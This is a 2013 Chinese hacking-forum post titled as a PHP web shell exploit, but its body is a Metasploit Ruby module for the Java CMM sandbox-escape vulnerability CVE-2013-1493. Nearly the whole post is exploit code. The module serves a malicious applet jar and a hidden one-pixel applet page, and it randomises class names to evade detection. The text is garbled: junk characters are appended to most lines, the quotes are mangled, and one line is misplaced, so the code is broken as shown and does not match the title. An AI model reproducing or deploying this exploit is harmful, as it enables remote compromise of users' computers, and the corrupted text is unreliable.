找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2691|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##+ l- E6 k) J+ n

8 `6 {: v8 |. x( X# This file is part of the Metasploit Framework and may be subject to. W8 @' i) R4 D
# redistribution and commercial restrictions. Please see the Metasploit( H1 B% @( Y3 J/ o& Q7 J1 U. j* _  m4 F
# web site for more information on licensing and terms of use./ \( A0 k) M) v3 a
# http://metasploit.com/; k' ^6 q" ?4 ]' I) G4 k# B
##( r# D# h6 u0 w9 |
require ‘msf/core’
0 I) _, h; _. I- a2 rrequire ‘rex’4 R! l  z& a% R2 N$ z/ f- i6 t1 |
class Metasploit3 < Msf::Exploit::Remote6 S0 L3 s; h; z
Rank = NormalRanking5 k# J; p; N! K& ?0 @  I. N
include Msf::Exploit::Remote::HttpServer::HTML9 ?- r" J4 E* E7 u$ T2 S
include Msf::Exploit::EXE4 d* |0 w- e- Z# |8 Z. N! t0 B
include Msf::Exploit::Remote::BrowserAutopwn$ f$ _+ T; L) v( U9 ?: A0 q6 t( c$ ^
autopwn_info({ :javascript => false })9 u, |; p5 s7 E( i9 c' n; R
def initialize( info = {} )
; j9 l2 U5 I/ T3 @super( update_info( info,3 N) ]+ M( O3 ~  T1 h
‘Name’ => ‘Java CMM Remote Code Execution’,
+ r* W! c  P  `1 v% g‘Description’ => %q{: {, R# X, l2 \9 s
This module abuses the Color Management classes from a Java Applet to run
1 Y- N2 [) B% uarbitrary Java code outside of the sandbox as exploited in the wild in February
; M4 `* o. M: v7 W$ X; B9 b" Land March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
+ j1 y8 y( z" j2 u! f# }- gand earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
0 C; R5 Q# Q/ c6 q. hsystems. This exploit doesn’t bypass click-to-play, so the user must accept the java
2 A5 C& D) K6 v! awarning in order to run the malicious applet.9 K. ?- k, ?' `* z# d) |0 q
},+ b3 ]3 X$ G9 v$ h4 L- d$ G* `
‘License’ => MSF_LICENSE,0 ]/ ?* W- Z) u- d
‘Author’ =>! b7 W$ q/ S5 q
'Unknown', # Vulnerability discovery and Exploit
$ _. J2 G3 Y, X8 a'juan vazquez' # Metasploit module (just ported the published exploit)* P: O7 A: T7 I
],
- j  X6 ?1 s. {‘References’ =>
$ K2 h/ P5 o: Q4 A1 e[
# |) }$ u& ?8 k* r5 Q[ 'CVE', '2013-1493' ],
# B6 Y0 s- v# O1 }6 S' \- L0 O3 P* }[ 'OSVDB', '90737' ],# c4 }6 y  ]5 p
[ 'BID', '58238' ],% l, W8 z1 C3 v& g1 r0 Q
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],0 U% }2 ]# _) ~# S4 k4 n8 f$ s
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],0 |7 F% P: [1 X9 j
[ 'URL', 'http://pastie.org/pastes/6581034' ]; L1 Y/ r+ B* ]+ T, `  w
],
9 e3 f7 k: w; R/ `5 ]9 K‘Platform’ => [ 'win', 'java' ]," L9 J5 ]4 @$ [4 S0 R8 ~
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
% n5 i6 S: J! P5 x‘Targets’ =>
' |  J8 ]- E3 v* w/ ][/ B- v4 N/ G$ o) Q% i
[ 'Generic (Java Payload)'," Q, ?5 e5 U  X
{+ e2 x( w& r9 C, `& i% j3 ]
'Platform' => 'java',
5 ?0 `) H- R; E$ S; J: _  M'Arch' => ARCH_JAVA5 t9 D. |) h: Y$ ]1 P
}
$ U8 g9 W" ]  y! ^8 n6 `4 j],
: T* s3 C/ k8 i% s/ _( D[ 'Windows x86 (Native Payload)',
/ \+ R1 P) z3 O0 y3 w3 h% {{
9 w( E2 l9 K& B- [* @8 i9 r'Platform' => 'win',8 ]: [* j% n4 N# V* X4 J
'Arch' => ARCH_X86
, P' e; T3 z* h7 E}
: \+ E! e) g3 J7 y& a# X]
! k" c& K6 x, F: i],
1 P0 `' p1 z" b1 ?5 z" x‘‘DisclosureDate’ => ‘Mar 01 2013′
, b5 N/ ?" F9 x/ s$ e6 h; m9 J# W1 C))
. P& B! P7 |: H/ H4 @end
% ?; Z0 B+ o* }8 j1 Gdef setup
* c7 b2 r& Q/ ?2 ypath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)8 I+ N4 d; x8 I& G* G
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
* e! C6 \6 U( J" t6 p8 p  ?9 c+ b* epath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
3 z, x7 s7 j! p  p4 c6 C@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }  t' C1 d5 q2 q& b
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)' l1 s3 u! x4 E6 x
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }0 ]) v+ X" t. N6 p/ y1 p
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)$ R' c  o) p; C" y
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }" J+ V4 X' ?4 z; y
@init_class_name = rand_text_alpha(“Init”.length)
$ Q9 e' }+ E) l. u: ]0 ]@init_class.gsub!(“Init”, @init_class_name)
7 g- j( P9 h, u$ L* `" Nsuper
/ D! O. W: S2 |end
5 s- I  x5 c6 Kdef on_request_uri(cli, request)  n( _4 ^- K( Y) z& f
print_status(“handling request for #{request.uri}”)' ~; P: N0 t9 y' ~* A& T7 _8 x) x
case request.uri
6 e; c+ Z7 I) E) G& Z* ~' t  ^& Wwhen /\.jar$/i
- ^2 Z7 ^6 Q; f8 T4 rjar = payload.encoded_jar
( `: G6 Y/ q* tjar.add_file(“#{@init_class_name}.class”, @init_class)
" t3 @4 \& [* ]% [: o2 o& Q8 kjar.add_file(“Leak.class”, @leak_class)' X; Z( g* E) D6 }) s# R& F/ J
jar.add_file(“MyBufferedImage.class”, @buffered_image_class): B, m7 u( P7 ~; G" ]
jar.add_file(“MyColorSpace.class”, @color_space_class)4 ]- x/ @  s' G" v$ ]
DefaultTarget’ => 1,
5 ?) G& U: o; f( M& imetasploit_str = rand_text_alpha(“metasploit”.length)
  J/ s( j# r+ C5 [  C$ Hpayload_str = rand_text_alpha(“payload”.length)" K5 M$ q/ d. {  A/ q+ r& F
jar.entries.each { |entry|
* E: O9 ]# M( {/ Y9 Xentry.name.gsub!(“metasploit”, metasploit_str)
' E% w& v) v, l& n+ sentry.name.gsub!(“Payload”, payload_str)& M: N# W2 a% L& p" Z  t- r% C0 L
entry.data = entry.data.gsub(“metasploit”, metasploit_str)3 [4 C  s) @$ }4 K
entry.data = entry.data.gsub(“Payload”, payload_str)
/ j  N! S9 `  c3 p7 H}
8 k8 d/ C5 }- f  G% R% @jar.build_manifest
, w) q; @  o0 R6 V7 A2 k- lsend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })( w2 o  F: t; }0 ]
when /\/$/) [2 g/ a$ c, _* O
payload = regenerate_payload(cli)' g( d; }: x) Q
if not payload
7 k6 U8 n. W2 I. vprint_error(“Failed to generate the payload.”)
6 K% m) q: [$ z" Usend_not_found(cli)
6 v2 v4 ?% J" X: b/ P$ ~return6 ?; q. v2 f! E0 {/ v* o
end8 N! c  f9 E* A' r* \: o' w+ E% Q
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })2 p8 D1 r) l$ i2 }7 i& v6 ~
else
9 w- a8 e% f  S* _, Usend_redirect(cli, get_resource() + ‘/’, ”)) J" U6 D# t' H* ?
end
+ s4 @2 S) H% r# q4 y1 mend
8 v6 w6 [, C' ?2 V; j: Mdef generate_html
- y0 V/ n! D& {8 [1 k6 X" thtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|6 e9 h' l4 X8 a5 I% i- ^
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|, C& ]0 P( ~, w- |3 G5 c. a
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
  U+ ]6 L# d$ k4 b0 ^html += %Q|</applet></body></html>|
, P/ O: A4 k0 a( O" X1 ]) Qreturn html5 R; o% E- Z. i; n8 j! V  T
end7 \9 x2 ^4 Y* a* Q
end
, C! K8 Q% P  d0 K* }- zend
6 `9 _! J1 q7 Q6 K3 w+ M, Y& k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表